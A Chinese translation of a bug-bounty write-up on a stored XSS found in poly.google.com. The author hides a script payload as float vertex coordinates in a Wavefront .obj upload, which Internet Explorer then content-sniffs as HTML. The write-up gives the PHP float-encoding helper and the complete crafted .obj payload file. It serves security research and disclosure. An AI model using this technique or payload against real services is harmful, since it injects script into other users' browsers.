原文:https://blog.blackfan.ru/2018/01/polygooglecom-xss.html
大约一年前,我申请了Google的漏洞研究补助金,去年11月,我终于被邀请参加。由于邀请恰逢假期,我决定去找一些不太标准但有趣的东西。
该程序的本质如下-使用高质量的代码,您可以花费大量时间而找不到漏洞,而漏洞会击退漏洞猎人。为此,引入了赠款,无论结果如何,赠款都将支付给参与者(发现的所有漏洞均以标准方式进行评估,而不取决于赠款)。该计划的范围包括20个职位-新的移动和Web应用程序,现有服务的更改,甚至是桌面应用程序。另外,当漏洞发现者可以在此赠款的框架内从Google选择任何产品进行分析时,我们可以分别突出显示“选择自己的冒险!”。
我决定专注于使用3D模型poly.google.com的新Web应用程序。用户可以上传Wavefront.obj格式的文件,如下所示:
v 0.0 0.0 0.0
v 4.0 0.0 0.0
v 4.0 4.0 0.0
v 0.0 4.0 0.0
v 2.0 6.0 0.0
f 1 2 3 4
f 3 4 5
在服务器上,它们将转换为二进制.bin文件:

HTTP响应中使用了以下标头:
Content-Type: application/octet-stream
Content-Disposition: inline; filename="xss.bin"
指定这些标头时,Internet Explorer以及Edge显然会尝试通过文件的内容确定文件的mime类型。了解有关其工作原理的更多信息-Windows Internet Explorer中的MIME类型检测。也就是说,如果生成这样的obj文件,该文件在转换为bin之后将包含html,则可以为IE创建存储的XSS。
例如,您可以使用顶点的坐标来设置所需的有效负载。为此,请找到一个将HEX字符串转换为32位IEEE 754浮点数并转换XSS向量的函数。
<?php
function hexTo32Float($strHex) {$v = hexdec($strHex);
$x = ($v & ((1 << 23) - 1)) + (1 << 23) * ($v >> 31 | 1);
$exp = ($v >> 23 & 0xFF) - 127;
return $x * pow(2, $exp - 23);
}
print(hexTo32Float(bin2hex(strrev("<scr")))).PHP_EOL; // 4.5051140506042E+30
print(hexTo32Float(bin2hex(strrev("ipt>")))).PHP_EOL; // 0.23871006071568
将以下.obj文件需要上载到站点。
#xss.obj
v 4.7275221264773E+27 1.4914213187279E+31 2.8899316938437E+29
v 1.8474870460757E+20 7.681841551373E+31 4.4159888520194E+21
v 1.7751098170076E+28 7.0618740621481E+28 1.8056946957706E+28
v 1.7109925976033E-10 1.8314355250257E+25 1.6132151934861E-19
v 5.8774717541114E-39 0 0
f 1 1 1 1
f 2 2 2 2
f 3 3 3 3
f 4 4 4 4
f 5 5 5 5
以及处理结果:
https://poly.google.com/downloads/eGXuYT8DqPr/378IoBkknJY/xss.bin


译者按:
作者在一处上传点发现可以上传obj格式文件,服务器上会转换为.bin文件。最后在下载处由于IE浏览器不能识别此后缀所以根据文件内容确定MIME类型进行解析。故只要在obj文件中写入<html>即可达到存储XSS的效果。




本文迁移自知识星球“火线Zone”